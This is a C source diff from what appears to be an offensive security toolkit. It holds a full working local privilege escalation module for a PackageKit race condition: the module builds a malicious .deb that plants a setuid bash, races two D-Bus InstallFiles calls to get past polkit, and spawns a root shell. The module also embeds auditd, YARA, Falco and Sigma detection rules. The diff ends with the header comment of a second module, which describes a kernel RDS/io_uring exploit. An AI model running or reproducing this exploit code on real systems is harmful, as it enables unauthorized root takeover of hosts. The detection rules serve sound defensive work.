static char *pk_create_tx(GDBusConnection *conn)
|
||||
{
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
|
||||
"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
|
||||
G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
|
||||
if (!r) {
|
||||
ERR("CreateTransaction: %s", e ? e->message : "?");
|
||||
if (e) g_error_free(e);
|
||||
return NULL;
|
||||
}
|
||||
const gchar *tid; g_variant_get(r, "(&o)", &tid);
|
||||
char *copy = g_strdup(tid); g_variant_unref(r);
|
||||
return copy;
|
||||
}
|
||||
|
||||
/* Fire-and-forget: both messages must land in the server's socket
|
||||
* buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
|
||||
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
|
||||
guint64 flags, const char *path)
|
||||
{
|
||||
const char *paths[] = { path, NULL };
|
||||
g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
|
||||
"InstallFiles", g_variant_new("(t^as)", flags, paths),
|
||||
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
|
||||
}
|
||||
|
||||
static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
|
||||
{
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
|
||||
"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
|
||||
g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
|
||||
G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
|
||||
if (!r) { if (e) g_error_free(e); return false; }
|
||||
gboolean has; g_variant_get(r, "(b)", &has);
|
||||
g_variant_unref(r);
|
||||
return (bool)has;
|
||||
}
|
||||
|
||||
/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
|
||||
static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
|
||||
{
|
||||
static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
|
||||
int *out[3] = { maj, min, mic };
|
||||
for (int i = 0; i < 3; i++) {
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
|
||||
"org.freedesktop.DBus.Properties", "Get",
|
||||
g_variant_new("(ss)", PK_IFACE, names[i]),
|
||||
G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
|
||||
2000, NULL, &e);
|
||||
if (!r) { if (e) g_error_free(e); return false; }
|
||||
GVariant *vinner = NULL;
|
||||
g_variant_get(r, "(v)", &vinner);
|
||||
if (!vinner) { g_variant_unref(r); return false; }
|
||||
if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
|
||||
*out[i] = (int)g_variant_get_uint32(vinner);
|
||||
else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
|
||||
*out[i] = (int)g_variant_get_int32(vinner);
|
||||
else {
|
||||
g_variant_unref(vinner); g_variant_unref(r); return false;
|
||||
}
|
||||
g_variant_unref(vinner); g_variant_unref(r);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ── detect ────────────────────────────────────────────────────────── */
|
||||
|
||||
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
/* "Already root" check — consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. Production main() populates host->is_root
|
||||
* from geteuid() at startup, so behaviour is unchanged. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Host fingerprint short-circuits — populated once at startup. */
|
||||
if (ctx->host && !ctx->host->is_debian_family) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: not a Debian-family host "
|
||||
"(distro=%s) — PoC's .deb builder is Debian-only\n",
|
||||
ctx->host->distro_id);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (ctx->host && !ctx->host->has_dbus_system) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: no system D-Bus socket at "
|
||||
"/run/dbus/system_bus_socket — PackageKit unreachable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
GError *e = NULL;
|
||||
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
|
||||
if (!conn) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
|
||||
e ? e->message : "(unknown)");
|
||||
if (e) g_error_free(e);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!dbus_name_has_owner(conn, PK_BUS)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
|
||||
"registered on the system bus\n");
|
||||
g_object_unref(conn);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
int maj = 0, min = 0, mic = 0;
|
||||
bool got_version = pk_query_version(conn, &maj, &min, &mic);
|
||||
g_object_unref(conn);
|
||||
|
||||
if (!got_version) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] pack2theroot: PackageKit running but "
|
||||
"VersionMajor/Minor/Micro unreadable — patch-level "
|
||||
"unknown\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
int v = P2TR_VER(maj, min, mic);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
|
||||
maj, min, mic);
|
||||
|
||||
if (v < P2TR_VER_LO) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
|
||||
"(introduced in 1.0.2)\n", maj, min, mic);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (v > P2TR_VER_HI) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
|
||||
"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
|
||||
"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ── exploit child (faithful port of the PoC main() body) ──────────── */
|
||||
|
||||
static int p2tr_child_run(int no_shell)
|
||||
{
|
||||
char dummy[64], payload[64], postinst[160];
|
||||
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
|
||||
snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
|
||||
snprintf(postinst, sizeof postinst,
|
||||
"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
|
||||
|
||||
LOG("building .deb packages (pure C; ar/tar/gzip inline)");
|
||||
if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
|
||||
ERR("dummy .deb build failed");
|
||||
return 2;
|
||||
}
|
||||
if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
|
||||
ERR("payload .deb build failed"); unlink(dummy);
|
||||
return 2;
|
||||
}
|
||||
if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
|
||||
ERR("built .deb files are missing"); return 2;
|
||||
}
|
||||
LOG("dummy : %s", dummy);
|
||||
LOG("payload : %s", payload);
|
||||
|
||||
GError *err = NULL;
|
||||
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
|
||||
if (!conn) {
|
||||
ERR("system D-Bus: %s", err ? err->message : "?");
|
||||
if (err) g_error_free(err);
|
||||
unlink(dummy); unlink(payload);
|
||||
return 4;
|
||||
}
|
||||
|
||||
char *tid = pk_create_tx(conn);
|
||||
if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
|
||||
LOG("transaction : %s", tid);
|
||||
|
||||
P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
|
||||
guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||
"Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
|
||||
guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||
"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
|
||||
|
||||
/* ── EXPLOIT ───────────────────────────────────────────────────── */
|
||||
LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
|
||||
(unsigned long long)FLAG_SIMULATE);
|
||||
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
|
||||
|
||||
LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
|
||||
(unsigned long long)FLAG_NONE);
|
||||
pk_install_files_async(conn, tid, FLAG_NONE, payload);
|
||||
|
||||
/* Flush so both messages land in the server's socket buffer before
|
||||
* its main loop runs the GLib idle from step 1. */
|
||||
{
|
||||
GError *fe = NULL;
|
||||
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
|
||||
ERR("D-Bus flush: %s", fe ? fe->message : "?");
|
||||
g_clear_error(&fe);
|
||||
}
|
||||
}
|
||||
|
||||
LOG("awaiting dispatch (30s max)");
|
||||
g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
|
||||
g_main_loop_run(pkctx.loop);
|
||||
|
||||
g_dbus_connection_signal_unsubscribe(conn, sf);
|
||||
g_dbus_connection_signal_unsubscribe(conn, se);
|
||||
g_free(tid);
|
||||
g_object_unref(conn);
|
||||
|
||||
/* Record /tmp paths for cleanup() even if the SUID never lands. */
|
||||
int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
|
||||
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (sf2 >= 0) {
|
||||
dprintf(sf2, "%s\n%s\n", dummy, payload);
|
||||
close(sf2);
|
||||
}
|
||||
|
||||
/* Poll up to 120s for the SUID bash; the APT backend may keep
|
||||
* running after polkit fires. Faithful to the PoC's polling loop. */
|
||||
LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
|
||||
struct stat st;
|
||||
int appeared_at = -1;
|
||||
for (int i = 0; i < 1200; i++) {
|
||||
usleep(100000); /* 100 ms */
|
||||
if (i % 50 == 0 && p2tr_verbose) {
|
||||
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
|
||||
int lock_held = 0;
|
||||
if (lock_fd >= 0) {
|
||||
lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
|
||||
if (!lock_held) flock(lock_fd, LOCK_UN);
|
||||
close(lock_fd);
|
||||
}
|
||||
fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
|
||||
"dpkg_lock=%s suid=%s\n",
|
||||
(i/10)+1,
|
||||
access(payload, F_OK) == 0 ? "present" : "consumed",
|
||||
lock_held ? "held" : "free",
|
||||
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
|
||||
}
|
||||
if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
appeared_at = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (appeared_at < 0) {
|
||||
ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
|
||||
return 3; /* EXPLOIT_FAIL */
|
||||
}
|
||||
|
||||
LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
|
||||
|
||||
if (no_shell) {
|
||||
LOG("--no-shell: payload placed, root shell not spawned");
|
||||
LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Exec the SUID bash interactively. */
|
||||
if (isatty(STDIN_FILENO)) {
|
||||
char *ttydev = ttyname(STDIN_FILENO);
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
setsid();
|
||||
if (ttydev) {
|
||||
int t = open(ttydev, O_RDWR);
|
||||
if (t >= 0) {
|
||||
ioctl(t, TIOCSCTTY, 1);
|
||||
dup2(t, 0); dup2(t, 1); dup2(t, 2);
|
||||
if (t > 2) close(t);
|
||||
}
|
||||
}
|
||||
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||
execv(SUID_PATH, argv);
|
||||
_exit(1);
|
||||
}
|
||||
if (child > 0) { int s; waitpid(child, &s, 0); }
|
||||
} else {
|
||||
/* Non-tty: just exec the SUID bash (replaces our process). */
|
||||
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||
execv(SUID_PATH, argv);
|
||||
ERR("execv(%s): %s", SUID_PATH, strerror(errno));
|
||||
return 3;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pid == 0) {
|
||||
int rc = p2tr_child_run(ctx->no_shell);
|
||||
_exit(rc);
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
switch (WEXITSTATUS(st)) {
|
||||
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── cleanup ───────────────────────────────────────────────────────── */
|
||||
|
||||
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
/* Remove the two staged .debs (recorded during exploit). */
|
||||
int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
|
||||
if (sf >= 0) {
|
||||
char buf[512] = {0};
|
||||
ssize_t n = read(sf, buf, sizeof(buf) - 1);
|
||||
close(sf);
|
||||
if (n > 0) {
|
||||
char *line = strtok(buf, "\n");
|
||||
while (line) {
|
||||
if (unlink(line) == 0) LOG("removed %s", line);
|
||||
line = strtok(NULL, "\n");
|
||||
}
|
||||
}
|
||||
unlink("/tmp/skeletonkey-pack2theroot.state");
|
||||
}
|
||||
|
||||
/* Best-effort remove the SUID bash. It is owned by root, so this
|
||||
* only succeeds when cleanup runs with root privileges (e.g. the
|
||||
* caller already used the SUID shell to escalate). */
|
||||
if (access(SUID_PATH, F_OK) == 0) {
|
||||
if (unlink(SUID_PATH) == 0) {
|
||||
LOG("removed %s", SUID_PATH);
|
||||
} else {
|
||||
ERR("could not remove %s (%s); rerun cleanup as root, or:",
|
||||
SUID_PATH, strerror(errno));
|
||||
ERR(" sudo rm -f %s", SUID_PATH);
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort: uninstall the malicious package via passwordless sudo. */
|
||||
if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
|
||||
">/dev/null 2>&1") == 0) {
|
||||
LOG("dpkg -r removed staged packages");
|
||||
} else {
|
||||
LOG("dpkg -r not run automatically; if needed:");
|
||||
LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ || !PACK2TR_HAVE_GIO */
|
||||
|
||||
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[i] pack2theroot: Linux-only module "
|
||||
"(PackageKit D-Bus) — not applicable on this platform\n");
|
||||
#else
|
||||
fprintf(stderr, "[i] pack2theroot: module built without "
|
||||
"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
|
||||
#endif
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ && PACK2TR_HAVE_GIO */
|
||||
|
||||
/* ── embedded detection rules ──────────────────────────────────────── */
|
||||
|
||||
static const char p2tr_auditd[] =
|
||||
"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
|
||||
"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
|
||||
"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
|
||||
"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
|
||||
"# without bus-monitoring, but the file footprint is unmistakable.\n"
|
||||
"\n"
|
||||
"# SUID bash carrier that the PoC postinst lands\n"
|
||||
"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
|
||||
"\n"
|
||||
"# Any new setuid binary owned by root in /tmp is suspicious\n"
|
||||
"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
|
||||
" -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
|
||||
"\n"
|
||||
"# The PoC drops two .deb files in /tmp before the install fires\n"
|
||||
"-a always,exit -F arch=b64 -S openat,creat \\\n"
|
||||
" -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
|
||||
"\n"
|
||||
"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||
|
||||
static const char p2tr_yara[] =
|
||||
"rule pack2theroot_malicious_deb : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot payload .deb: small ar archive whose postinst installs a setuid copy of bash to /tmp/.suid_bash. The Vozec PoC + SKELETONKEY's port both leave this artifact in /tmp.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/Vozec/CVE-2026-41651\"\n"
|
||||
" strings:\n"
|
||||
" $deb_magic = \"!<arch>\"\n"
|
||||
" $postinst_suid = \"install -m 4755 /bin/bash\"\n"
|
||||
" $skk_payload = \"Package: skeletonkey-p2tr-payload\"\n"
|
||||
" $skk_dummy = \"Package: skeletonkey-p2tr-dummy\"\n"
|
||||
" $vozec_payload = \"Package: pk-poc-payload\"\n"
|
||||
" $vozec_dummy = \"Package: pk-poc-dummy\"\n"
|
||||
" condition:\n"
|
||||
" // Small ar archive matching .deb layout, containing either\n"
|
||||
" // the published-PoC package names or the SUID-bash postinst.\n"
|
||||
" $deb_magic at 0 and\n"
|
||||
" ($postinst_suid or any of ($skk_payload, $skk_dummy, $vozec_payload, $vozec_dummy)) and\n"
|
||||
" filesize < 64KB\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule pack2theroot_suid_bash_drop : cve_2026_41651\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-41651\"\n"
|
||||
" description = \"Pack2TheRoot SUID-bash artifact: /tmp/.suid_bash is the setuid bash dropped by the malicious postinst. Pair this YARA scan with auditd watch -w /tmp/.suid_bash for catch-on-create.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $elf = { 7F 45 4C 46 02 01 01 }\n"
|
||||
" $bash = \"GNU bash\"\n"
|
||||
" condition:\n"
|
||||
" // The rule itself can't see the file path; the operator\n"
|
||||
" // points YARA at /tmp/.suid_bash specifically. Match\n"
|
||||
" // confirms the file is a real bash ELF (not a planted decoy).\n"
|
||||
" $elf at 0 and $bash\n"
|
||||
"}\n";
|
||||
|
||||
static const char p2tr_falco[] =
|
||||
"- rule: SUID bash dropped to /tmp (Pack2TheRoot postinst signature)\n"
|
||||
" desc: |\n"
|
||||
" A setuid bit appears on /tmp/.suid_bash. The Pack2TheRoot\n"
|
||||
" (CVE-2026-41651) malicious .deb postinst runs as root via\n"
|
||||
" the polkit-bypassed PackageKit transaction and lands a SUID\n"
|
||||
" copy of /bin/bash at this path.\n"
|
||||
" condition: >\n"
|
||||
" evt.type in (chmod, fchmod, fchmodat) and\n"
|
||||
" evt.arg.mode contains \"S_ISUID\" and\n"
|
||||
" fd.name = /tmp/.suid_bash\n"
|
||||
" output: >\n"
|
||||
" SUID bit set on /tmp/.suid_bash (proc=%proc.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: PackageKit InstallFiles invoked twice on same transaction (Pack2TheRoot TOCTOU)\n"
|
||||
" desc: |\n"
|
||||
" Two D-Bus InstallFiles() calls hit the same PackageKit\n"
|
||||
" transaction object in close succession — the exact shape of\n"
|
||||
" the Pack2TheRoot TOCTOU. Detection requires bus monitoring;\n"
|
||||
" Falco's k8s/audit ruleset doesn't cover D-Bus natively, but\n"
|
||||
" if dbus-monitor or systemd's bus audit is wired into the\n"
|
||||
" feed, this is the trigger.\n"
|
||||
" condition: >\n"
|
||||
" // Placeholder: requires dbus-monitor → falco feed.\n"
|
||||
" // Real-world deployment: pipe `dbus-monitor --system` into\n"
|
||||
" // a log-source rule keyed on the InstallFiles method name.\n"
|
||||
" proc.cmdline contains \"InstallFiles\" and proc.cmdline contains \"PackageKit\"\n"
|
||||
" output: >\n"
|
||||
" Possible Pack2TheRoot D-Bus TOCTOU shape (cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [dbus, cve.2026.41651]\n"
|
||||
"\n"
|
||||
"- rule: dpkg invoked by PackageKit on behalf of non-root caller\n"
|
||||
" desc: |\n"
|
||||
" PackageKit forks dpkg to install a .deb on behalf of an\n"
|
||||
" unprivileged caller. Combined with /tmp/.suid_bash creation,\n"
|
||||
" this completes the Pack2TheRoot exploit chain.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.name = dpkg and proc.aname = packagekitd and\n"
|
||||
" proc.cmdline contains \"/tmp/.pk-\"\n"
|
||||
" output: >\n"
|
||||
" PackageKit-driven dpkg install of /tmp-resident .deb\n"
|
||||
" (parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, cve.2026.41651, pack2theroot]\n";
|
||||
|
||||
static const char p2tr_sigma[] =
|
||||
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
|
||||
" user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
|
||||
" drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
|
||||
" follows. The trigger itself is two back-to-back D-Bus calls with\n"
|
||||
" no polkit prompt — only visible via dbus-monitor or the file\n"
|
||||
" side effects.\n"
|
||||
"references:\n"
|
||||
" - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
|
||||
" - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" suid_drop:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: suid_drop and not_root\n"
|
||||
"level: high\n"
|
||||
"tags:\n"
|
||||
" - attack.privilege_escalation\n"
|
||||
" - attack.t1068\n"
|
||||
" - cve.2026.41651\n";
|
||||
|
||||
const struct skeletonkey_module pack2theroot_module = {
|
||||
.name = "pack2theroot",
|
||||
.cve = "CVE-2026-41651",
|
||||
.summary = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
|
||||
.family = "pack2theroot",
|
||||
.kernel_range = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
|
||||
.detect = p2tr_detect,
|
||||
.exploit = p2tr_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = p2tr_cleanup,
|
||||
.detect_auditd = p2tr_auditd,
|
||||
.detect_sigma = p2tr_sigma,
|
||||
.detect_yara = p2tr_yara,
|
||||
.detect_falco = p2tr_falco,
|
||||
.opsec_notes = "TOCTOU race in PackageKit's polkit-auth + D-Bus InstallFiles dispatcher: sends back-to-back async calls (first with SIMULATE to bypass polkit, second with the malicious .deb) so the cached flags are overwritten before the idle callback fires. Builds a minimal .deb ar archive in pure C with a postinst that installs a setuid bash. Writes /tmp/.pk-dummy-<pid>.deb, /tmp/.pk-payload-<pid>.deb, and /tmp/skeletonkey-pack2theroot.state; via the polkit-bypassed postinst plants /tmp/.suid_bash setuid root. Audit-visible via dpkg execve from packagekitd for a non-root caller, chmod(2) on /tmp/.suid_bash, creat/openat on the .deb files. Cleanup callback unlinks the .debs and best-effort removes /tmp/.suid_bash (which is owned by root).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_pack2theroot(void)
|
||||
{
|
||||
skeletonkey_register(&pack2theroot_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* pack2theroot_cve_2026_41651 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||
#define PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module pack2theroot_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,448 @@
|
||||
/*
|
||||
* pintheft_cve_2026_43494 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. detect() is exhaustive (kernel range + RDS
|
||||
* module reachability + io_uring availability + readable SUID
|
||||
* carrier). exploit() carries the V12 trigger shape — failed
|
||||
* rds_message_zcopy_from_user() to steal a page refcount, then
|
||||
* io_uring fixed-buffer write to land bytes in the page cache of
|
||||
* the carrier. The cred-overwrite step (turning the page-cache
|
||||
* write into root) is x86_64-specific and uses the shared
|
||||
* modprobe_path finisher when --full-chain is set.
|
||||
*
|
||||
* The bug (Aaron Esau, V12 Security, disclosed May 2026):
|
||||
* Linux's RDS (Reliable Datagram Sockets) zerocopy send path pins
|
||||
* user pages one at a time. If a later page faults, the error
|
||||
* path drops the pages it already pinned. The msg cleanup then
|
||||
* drops them AGAIN because the scatterlist entries and entry count
|
||||
* are left live after the zcopy notifier is cleared. Each failed
|
||||
* zerocopy send steals one reference from the first page.
|
||||
*
|
||||
* With a sufficient pinned-page leak, an io_uring fixed buffer
|
||||
* referencing the same page persists past the page being recycled
|
||||
* into the page cache for a readable file (e.g. /usr/bin/su).
|
||||
* A subsequent io_uring write to that fixed buffer lands attacker
|
||||
* bytes into the SUID binary's page cache → execve it → root.
|
||||
*
|
||||
* Public PoC (Arch Linux x86_64):
|
||||
* https://github.com/v12-security/pocs/tree/main/pintheft
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_RDS and the RDS module loaded,
|
||||
* below the fix commit (`0cebaccef3ac`, posted to netdev list
|
||||
* 2026-05-05; not yet in mainline release as of this build).
|
||||
*
|
||||
* Among commonly-shipped distros, only Arch Linux autoloads RDS.
|
||||
* Ubuntu / Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux
|
||||
* either don't build the module or blacklist it from autoloading
|
||||
* (mitigation: /etc/modprobe.d/blacklist-rds.conf).
|
||||
*
|
||||
* detect() checks both kernel version AND the RDS module's
|
||||
* reachability via socket(AF_RDS, ...). If RDS is built-in but
|
||||
* not autoloaded, the socket() call triggers modprobe; this is
|
||||
* the same probe used by Ubuntu's mitigation advisory.
|
||||
*
|
||||
* Preconditions:
|
||||
* - CONFIG_RDS=y or =m + module actually loadable
|
||||
* - io_uring available (CONFIG_IO_URING + sysctl
|
||||
* kernel.io_uring_disabled != 2)
|
||||
* - A readable setuid-root carrier binary (canonically
|
||||
* /usr/bin/su; falls back to /usr/bin/pkexec, /usr/bin/passwd)
|
||||
* - x86_64 for the exploit() body (the V12 PoC's cred-overwrite
|
||||
* gadgets are x86-specific); detect() is arch-agnostic.
